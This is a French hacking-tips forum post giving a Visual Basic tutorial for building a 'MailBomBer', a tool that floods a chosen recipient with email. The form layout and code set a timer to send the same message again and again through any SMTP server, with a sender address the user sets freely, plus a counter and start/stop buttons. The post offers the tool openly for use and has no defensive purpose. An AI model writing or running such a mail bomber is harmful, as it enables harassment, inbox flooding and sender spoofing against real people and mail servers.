Bienvenue sur Forum d'Astuces
Vous souhaitez réagir à ce message ? Créez un compte en quelques clics ou connectez-vous pour continuer.

Bienvenue sur Forum d'Astuces


 
AccueilDernières imagesRechercherS'enregistrerConnexion
~ [Attention] Je ne serais en aucun cas tenu pour responsable de vos actes à vos risques et périls. Mais je tiens à vous dire que je n'utilise aucun virus dans mes programmes, scripts ... Wink [Attention] ~
Visites
Connect in the world
Faites-vos dons
Connexion
Nom d'utilisateur:
Mot de passe:
Connexion automatique: 
:: Récupérer mon mot de passe
Partenaires



-24%
Le deal à ne pas rater :
PC Portable Gaming 15.6″ Medion Erazer Deputy P40 (FHD 144Hz, RTX ...
759.99 € 999.99 €
Voir le deal

 

 Créer un MailBomBer [VB] [Anonyme]

Aller en bas 
AuteurMessage
Invité
Invité
Anonymous



Créer un MailBomBer [VB] [Anonyme] Empty
MessageSujet: Créer un MailBomBer [VB] [Anonyme]   Créer un MailBomBer [VB] [Anonyme] I_icon_minitimeMar 5 Avr - 8:40

Pour le créer il vous faut
- 6 Labels
- 2 Boutons
- 5 Textbox
- 2 Timer
Dans une Label mettez Adresse de L'expéditeur, la deuxième : Adresse du Destinataire, la troisième SMTP, la quatrième : Sujet et la 5ème Message, dans la sixième vous mettez un 0.
Vous pouvez modifier comme bon vous semble le texte hein :p

Puis nommer les boutons comme vous le voulez Start Et Stop.
Placez les Textbox à coté des Labels.
Maintenant les codes
Timer1 :
Code:
Dim MyMailMessage As New MailMessage()


MyMailMessage.From = New MailAddress(TextBox2.Text)

MyMailMessage.To.Add(TextBox4.Text)

MyMailMessage.Subject = TextBox5.Text
MyMailMessage.Body = (Me.TextBox1.Text)


Dim SMTPServer As New SmtpClient(TextBox3.Text)


Try
SMTPServer.Send(MyMailMessage)

Catch ex As SmtpException
Timer1.Enabled = False
Timer2.Enabled = False
MessageBox.Show("SMTP Error")
End Try

Timer 2 :
Code:
Label6.Text = Label6.Text + 1
Bouton Start :
Code:
Timer1.Enabled = True
Timer2.Enabled = True
Bonton Stop :
Code:
Timer1.Enabled = False
Timer2.Enabled = False
Revenir en haut Aller en bas
 
Créer un MailBomBer [VB] [Anonyme]
Revenir en haut 
Page 1 sur 1

Permission de ce forum:Vous ne pouvez pas répondre aux sujets dans ce forum
Bienvenue sur Forum d'Astuces :: Windows :: Visual Basic-
Sauter vers: